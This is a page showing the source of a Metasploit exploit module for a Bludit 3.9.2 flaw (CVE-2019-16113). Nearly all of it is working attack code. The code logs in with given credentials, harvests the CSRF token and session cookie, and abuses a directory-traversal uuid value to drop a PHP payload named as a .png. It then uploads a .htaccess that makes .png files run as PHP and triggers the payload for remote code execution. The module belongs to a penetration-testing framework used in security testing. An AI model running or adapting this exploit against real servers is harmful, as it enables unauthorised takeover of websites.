Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/bludit_upload_images_exec.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
include Msf::Exploit::FileDropper
12
include Msf::Auxiliary::Report
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
19
'Description' => %q{
20
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
21
parameter in the image upload feature in order to save a malicious payload anywhere
22
onto the server, and then use a custom .htaccess file to bypass the file extension
23
check to finally get remote code execution.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'christasa', # Original discovery
28
'sinn3r' # Metasploit module
29
],
30
'References' => [
31
['CVE', '2019-16113'],
32
['URL', 'https://github.com/bludit/bludit/issues/1081'],
33
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
34
],
35
'Platform' => 'php',
36
'Arch' => ARCH_PHP,
37
'Notes' => {
38
'SideEffects' => [ IOC_IN_LOGS ],
39
'Reliability' => [ REPEATABLE_SESSION ],
40
'Stability' => [ CRASH_SAFE ]
41
},
42
'Targets' => [
43
[ 'Bludit v3.9.2', {} ]
44
],
45
'Privileged' => false,
46
'DisclosureDate' => "2019-09-07",
47
'DefaultTarget' => 0
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
54
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
55
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
56
]
57
)
58
end
59
60
class PhpPayload
61
attr_reader :payload
62
attr_reader :name
63
64
def initialize(p)
65
@payload = p
66
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
67
end
68
end
69
70
class LoginBadge
71
attr_reader :username
72
attr_reader :password
73
attr_accessor :csrf_token
74
attr_accessor :bludit_key
75
76
def initialize(user, pass, token, key)
77
@username = user
78
@password = pass
79
@csrf_token = token
80
@bludit_key = key
81
end
82
end
83
84
def check
85
res = send_request_cgi({
86
'method' => 'GET',
87
'uri' => normalize_uri(target_uri.path, 'index.php')
88
})
89
90
unless res
91
vprint_error('Connection timed out')
92
return CheckCode::Unknown
93
end
94
95
html = res.get_html_document
96
generator_tag = html.at('meta[@name="generator"]')
97
unless generator_tag
98
vprint_error('No generator metadata tag found in HTML')
99
return CheckCode::Safe
100
end
101
102
content_attr = generator_tag.attributes['content']
103
unless content_attr
104
vprint_error("No content attribute found in metadata tag")
105
return CheckCode::Safe
106
end
107
108
if content_attr.value == 'Bludit'
109
return CheckCode::Detected
110
end
111
112
CheckCode::Safe
113
end
114
115
def get_uuid(login_badge)
116
print_status('Retrieving UUID...')
117
res = send_request_cgi({
118
'method' => 'GET',
119
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
120
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
121
})
122
123
unless res
124
fail_with(Failure::Unknown, 'Connection timed out')
125
end
126
127
html = res.get_html_document
128
uuid_element = html.at('input[@name="uuid"]')
129
unless uuid_element
130
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
131
end
132
133
uuid_val = uuid_element.attributes['value']
134
unless uuid_val && uuid_val.respond_to?(:value)
135
fail_with(Failure::Unknown, 'No UUID value')
136
end
137
138
uuid_val.value
139
end
140
141
def upload_file(login_badge, uuid, content, fname)
142
print_status("Uploading #{fname}...")
143
144
data = Rex::MIME::Message.new
145
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
146
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
147
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
148
149
res = send_request_cgi({
150
'method' => 'POST',
151
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
152
'ctype' => "multipart/form-data; boundary=#{data.bound}",
153
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
154
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
155
'data' => data.to_s
156
})
157
158
unless res
159
fail_with(Failure::Unknown, 'Connection timed out')
160
end
161
end
162
163
def upload_php_payload_and_exec(login_badge)
164
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
165
# To: /var/www/html/bludit/bl-content/tmp
166
uuid = get_uuid(login_badge)
167
php_payload = get_php_payload
168
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
169
170
# On the vuln app, this line occurs first:
171
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
172
# Even though there is a file extension check, it won't really stop us
173
# from uploading the .htaccess file.
174
htaccess = <<~HTA
175
RewriteEngine off
176
AddType application/x-httpd-php .png
177
HTA
178
upload_file(login_badge, uuid, htaccess, ".htaccess")
179
register_file_for_cleanup('.htaccess')
180
181
print_status("Executing #{php_payload.name}...")
182
send_request_cgi({
183
'method' => 'GET',
184
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
185
})
186
end
187
188
def get_php_payload
189
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
190
end
191
192
def get_login_badge(res)
193
cookies = res.get_cookies
194
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
195
196
html = res.get_html_document
197
csrf_element = html.at('input[@name="tokenCSRF"]')
198
unless csrf_element
199
fail_with(Failure::Unknown, 'No tokenCSRF found')
200
end
201
202
csrf_val = csrf_element.attributes['value']
203
unless csrf_val && csrf_val.respond_to?(:value)
204
fail_with(Failure::Unknown, 'No tokenCSRF value')
205
end
206
207
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
208
end
209
210
def do_login
211
res = send_request_cgi({
212
'method' => 'GET',
213
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
214
})
215
216
unless res
217
fail_with(Failure::Unknown, 'Connection timed out')
218
end
219
220
login_badge = get_login_badge(res)
221
res = send_request_cgi({
222
'method' => 'POST',
223
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
224
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
225
'vars_post' =>
226
{
227
'tokenCSRF' => login_badge.csrf_token,
228
'username' => login_badge.username,
229
'password' => login_badge.password
230
}
231
})
232
233
unless res
234
fail_with(Failure::Unknown, 'Connection timed out')
235
end
236
237
# A new csrf value is generated, need to update this for the upload
238
if res.headers['Location'].to_s.include?('/admin/dashboard')
239
store_valid_credential(user: login_badge.username, private: login_badge.password)
240
res = send_request_cgi({
241
'method' => 'GET',
242
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
243
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
244
})
245
246
unless res
247
fail_with(Failure::Unknown, 'Connection timed out')
248
end
249
250
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
251
login_badge.csrf_token = new_csrf if new_csrf
252
return login_badge
253
end
254
255
fail_with(Failure::NoAccess, 'Authentication failed')
256
end
257
258
def exploit
259
login_badge = do_login
260
print_good("Logged in as: #{login_badge.username}")
261
upload_php_payload_and_exec(login_badge)
262
end
263
end
264
265